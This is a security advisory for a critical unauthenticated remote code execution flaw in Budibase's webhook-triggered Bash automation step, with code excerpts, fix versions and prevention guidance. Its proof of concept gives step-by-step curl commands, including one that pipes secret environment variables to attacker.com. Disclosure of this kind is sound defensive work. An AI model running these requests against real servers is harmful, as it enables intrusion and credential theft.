GHSA-fcm4-4pj2-m5hf CVE-2026-35216
Budibase: Unauthenticated Remote Code Execution via Webhook Trigger and Bash Automation Step
- Severity
- 9.0 / 10
- Critical · CVSS 3.1
- Exploit chance (EPSS)
- 10.90%
- Chance of exploitation in the next 30 days. Higher than 95.87% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
- Fix
3.33.4- Upgrade @budibase/server to this version or later
Description
Summary
An unauthenticated attacker can achieve Remote Code Execution (RCE) on the Budibase server by triggering an automation that contains a Bash step via the public webhook endpoint. No authentication is required to trigger the exploit. The process executes as root inside the container.
Details
Vulnerable endpoint — packages/server/src/api/routes/webhook.ts line 13:
// this shouldn't have authorisation, right now its always public
publicRoutes.post("/api/webhooks/trigger/:instance/:id", controller.trigger)
The webhook trigger endpoint is registered on publicRoutes with no authentication
middleware. Any unauthenticated HTTP client can POST to this endpoint.
Vulnerable sink — packages/server/src/automations/steps/bash.ts lines 21–26:
const command = processStringSync(inputs.code, context)
stdout = execSync(command, { timeout: environment.QUERY_THREAD_TIMEOUT }).toString()
The Bash automation step uses Handlebars template processing (processStringSync) on
inputs.code, substituting values from the webhook request body into the shell command
string before passing it to execSync().
Attack chain:
HTTP POST /api/webhooks/trigger/{appId}/{webhookId} ← NO AUTH
↓
controller.trigger() [webhook.ts:90]
↓
triggers.externalTrigger()
↓ webhook fields flattened into automation context
automation.steps[EXECUTE_BASH].run() [actions.ts:131]
↓
processStringSync("{{ trigger.cmd }}", { cmd: "ATTACKER_PAYLOAD" })
↓
execSync("ATTACKER_PAYLOAD") ← RCE AS ROOT
Precondition: An admin must have created and published an automation containing:
- A Webhook trigger
- A Bash step whose
codefield uses a trigger field template (e.g.,{{ trigger.cmd }})
This is a legitimate and documented workflow. Such configurations may exist in production deployments for automation of server-side tasks.
Note on EXECUTE_BASH availability: The bash step is only registered when
SELF_HOSTED=1 (actions.ts line 129), which applies to all self-hosted deployments:
// packages/server/src/automations/actions.ts line 126-132
// don't add the bash script/definitions unless in self host
if (env.SELF_HOSTED) {
ACTION_IMPLS["EXECUTE_BASH"] = bash.run
BUILTIN_ACTION_DEFINITIONS["EXECUTE_BASH"] = automations.steps.bash.definition
}
Webhook context flattening (why {{ trigger.cmd }} works):
In packages/server/src/automations/triggers.ts lines 229–239, for webhook automations
the params.fields are spread directly into the trigger context:
// row actions and webhooks flatten the fields down
else if (sdk.automations.isWebhookAction(automation)) {
params = {
...params,
...params.fields, // { cmd: "PAYLOAD" } becomes top-level
fields: {},
}
}
This means a webhook body {"cmd": "id"} becomes accessible as {{ trigger.cmd }}
in the bash step template.
PoC
Environment
Target: http://TARGET:10000 (any self-hosted Budibase instance)
Tester: Any machine with curl
Auth: Admin credentials required for SETUP PHASE only
Zero auth required for EXPLOITATION PHASE
PHASE 1 — Admin Setup (performed once by legitimate admin)
Note: This phase represents normal Budibase usage. Any admin who creates a webhook automation with a bash step using template variables creates this exposure.
Step 1 — Authenticate as admin:
curl -c cookies.txt -X POST http://TARGET:10000/api/global/auth/default/login \
-H "Content-Type: application/json" \
-d '{
"username": "admin@company.com",
"password": "adminpassword"
}'
# Expected response:
# {"message":"Login successful"}
Step 2 — Create an application:
curl -b cookies.txt -X POST http://TARGET:10000/api/applications \
-H "Content-Type: application/json" \
-d '{
"name": "MyApp",
"useTemplate": false,
"url": "/myapp"
}'
# Note the appId from the response, e.g.:
# "appId": "app_dev_c999265f6f984e3aa986788723984cd5"
APP_ID="app_dev_c999265f6f984e3aa986788723984cd5"
Step 3 — Create automation with Webhook trigger + Bash step:
curl -b cookies.txt -X POST http://TARGET:10000/api/automations/ \
-H "Content-Type: application/json" \
-H "x-budibase-app-id: $APP_ID" \
-d '{
"name": "WebhookBash",
"type": "automation",
"definition": {
"trigger": {
"id": "trigger_1",
"name": "Webhook",
"event": "app:webhook:trigger",
"stepId": "WEBHOOK",
"type": "TRIGGER",
"icon": "paper-plane-right",
"description": "Trigger an automation when a HTTP POST webhook is hit",
"tagline": "Webhook endpoint is hit",
"inputs": {},
"schema": {
"inputs": { "properties": {} },
"outputs": {
"properties": { "body": { "type": "object" } }
}
}
},
"steps": [
{
"id": "bash_step_1",
"name": "Bash Scripting",
"stepId": "EXECUTE_BASH",
"type": "ACTION",
"icon": "git-branch",
"description": "Run a bash script",
"tagline": "Execute a bash command",
"inputs": {
"code": "{{ trigger.cmd }}"
},
"schema": {
"inputs": {
"properties": { "code": { "type": "string" } }
},
"outputs": {
"properties": {
"stdout": { "type": "string" },
"success": { "type": "boolean" }
}
}
}
}
]
}
}'
# Note the automation _id from response, e.g.:
# "automation": { "_id": "au_b713759f83f64efda067e17b65545fce", ... }
AUTO_ID="au_b713759f83f64efda067e17b65545fce"
Step 4 — Enable the automation (new automations start as disabled):
# Fetch full automation JSON
AUTO=$(curl -sb cookies.txt "http://TARGET:10000/api/automations/$AUTO_ID" \
-H "x-budibase-app-id: $APP_ID")
# Set disabled: false and PUT it back
UPDATED=$(echo "$AUTO" | python3 -c "
import sys, json
d = json.load(sys.stdin)
d['disabled'] = False
print(json.dumps(d))
")
curl -b cookies.txt -X PUT http://TARGET:10000/api/automations/ \
-H "Content-Type: application/json" \
-H "x-budibase-app-id: $APP_ID" \
-d "$UPDATED"
Step 5 — Create webhook linked to the automation:
curl -b cookies.txt -X PUT "http://TARGET:10000/api/webhooks/" \
-H "Content-Type: application/json" \
-H "x-budibase-app-id: $APP_ID" \
-d "{
\"name\": \"MyWebhook\",
\"action\": {
\"type\": \"automation\",
\"target\": \"$AUTO_ID\"
}
}"
# Note the webhook _id from response, e.g.:
# "webhook": { "_id": "wh_f811a038ed024da78b44619353d4af2b", ... }
WEBHOOK_ID="wh_f811a038ed024da78b44619353d4af2b"
Step 6 — Publish the app to production:
curl -b cookies.txt -X POST "http://TARGET:10000/api/applications/$APP_ID/publish" \
-H "x-budibase-app-id: $APP_ID"
# Expected: {"status":"SUCCESS","appUrl":"/myapp"}
# Production App ID = strip "dev_" from dev ID:
# app_dev_c999265f... → app_c999265f...
PROD_APP_ID="app_c999265f6f984e3aa986788723984cd5"
PHASE 2 — Exploitation (ZERO AUTHENTICATION REQUIRED)
The attacker only needs the production app_id and webhook_id.
These can be obtained via:
- Enumeration of the Budibase web UI (app URLs are semi-public)
- Leaked configuration files or environment variables
- Insider knowledge or social engineering
Step 7 — Basic RCE — whoami/id:
PROD_APP_ID="app_c999265f6f984e3aa986788723984cd5"
WEBHOOK_ID="wh_f811a038ed024da78b44619353d4af2b"
TARGET="http://TARGET:10000"
# NO cookies. NO API key. NO auth headers. Pure unauthenticated request.
curl -X POST "$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID" \
-H "Content-Type: application/json" \
-d '{"cmd":"id"}'
# HTTP Response (immediate):
# {"message":"Webhook trigger fired successfully"}
# Command executes asynchronously inside container as root.
# Output confirmed via container inspection or exfiltration.
Step 8 — Exfiltrate all secrets:
curl -X POST "$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID" \
-H "Content-Type: application/json" \
-d '{"cmd":"env | grep -E \"JWT|SECRET|PASSWORD|KEY|COUCH|REDIS|MINIO\" | curl -s -X POST https://attacker.com/collect -d @-"}'
Confirmed secrets leaked (no auth):
JWT_SECRET=testsecret
API_ENCRYPTION_KEY=testsecret
COUCH_DB_URL=http://budibase:budibase@couchdb-service:5984
REDIS_PASSWORD=budibase
REDIS_URL=redis-service:6379
MINIO_ACCESS_KEY=budibase
MINIO_SECRET_KEY=budibase
INTERNAL_API_KEY=budibase
LITELLM_MASTER_KEY=budibase
Impact
-
Who is affected: All self-hosted Budibase deployments (
SELF_HOSTED=1) where any admin has created an automation with a Bash step that uses webhook trigger field templates. This is a standard, documented workflow. -
What can an attacker do:
- Execute arbitrary OS commands as
rootinside the application container - Exfiltrate all secrets: JWT secret, database credentials, API keys, MinIO keys
- Pivot to internal services (CouchDB, Redis, MinIO) unreachable from the internet
- Establish reverse shells and persistent access
- Read/write/delete all application data via CouchDB access
- Forge JWT tokens using the leaked
JWT_SECRETto impersonate any user - Potentially escape the container if
--privilegedor volume mounts are used
- Execute arbitrary OS commands as
-
Authentication required: None — completely unauthenticated
-
User interaction required: None
-
Network access required: Only access to port 10000 (the Budibase proxy port)
Discovered By: Abdulrahman Albatel Abdullah Alrasheed
Affected versions
npm
| Package | Vulnerable | Fixed in |
|---|---|---|
| @budibase/server | < 3.33.4 |
3.33.4 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
@budibase/server npm → 3.33.4
- npm
npm install @budibase/server@3.33.4- yarn
yarn add @budibase/server@3.33.4- pnpm
pnpm add @budibase/server@3.33.4
Severity breakdown
CVSS 3.1 9.0
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
- Attack vector
- Network
- Attack complexity
- High
- Privileges required
- None
- User interaction
- None
- Scope
- Changed
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
How to prevent it
- Architecture and Design: If at all possible, use library calls rather than external processes to recreate the desired functionality.
- Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
- Architecture and Design: For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
- Implementation: While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
- Implementation: If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.
- Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated. Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping. Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would ne
- Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
- Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
- Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.
- Operation: Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
- Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
- Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-6x9p-4r67-5gjx Budibase authenticated arbitrary S3 signed upload URL issuance via `/api/attachments/:datasourceId/url` | High | Also affects @budibase/server |
| GHSA-5fpj-28rv-84r7 Budibase: SSRF in Automation Steps - Webhook, Zapier, N8N, Slack, Discord Bypass IP Blacklist | High | Also affects @budibase/server |
| GHSA-hfhx-w8p8-4hc7 Budibase: SSRF via bare fetch() in uploadUrl during AI table generation | Medium | Also affects @budibase/server |
| GHSA-v42f-v8xc-j435 Budibase: SSRF via DNS rebinding in the REST datasource integration | High | Also affects @budibase/server |
| GHSA-pmpg-2mxq-6xwr Budibase: NoSQL injection in MongoDB integration: collection dump, $where JS exec, cross-collection pivot, arbitrary update/delete | High | Also affects @budibase/server |
| GHSA-cr7p-cr3q-h5cm Budibase: Account Enumeration via Login Lockout Response Differential | Medium | Also affects @budibase/server |
| GHSA-pvcr-8mvp-w8qr Budibase: Chat-Link Handoff Identity Confusion (Same-Tenant Account-Link CSRF) | High | Also affects @budibase/server |
| GHSA-2xgg-r2wc-c5r2 Budibase: MySQL DESCRIBE Backtick Injection via multipleStatements in Database Connector | High | Also affects @budibase/server |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor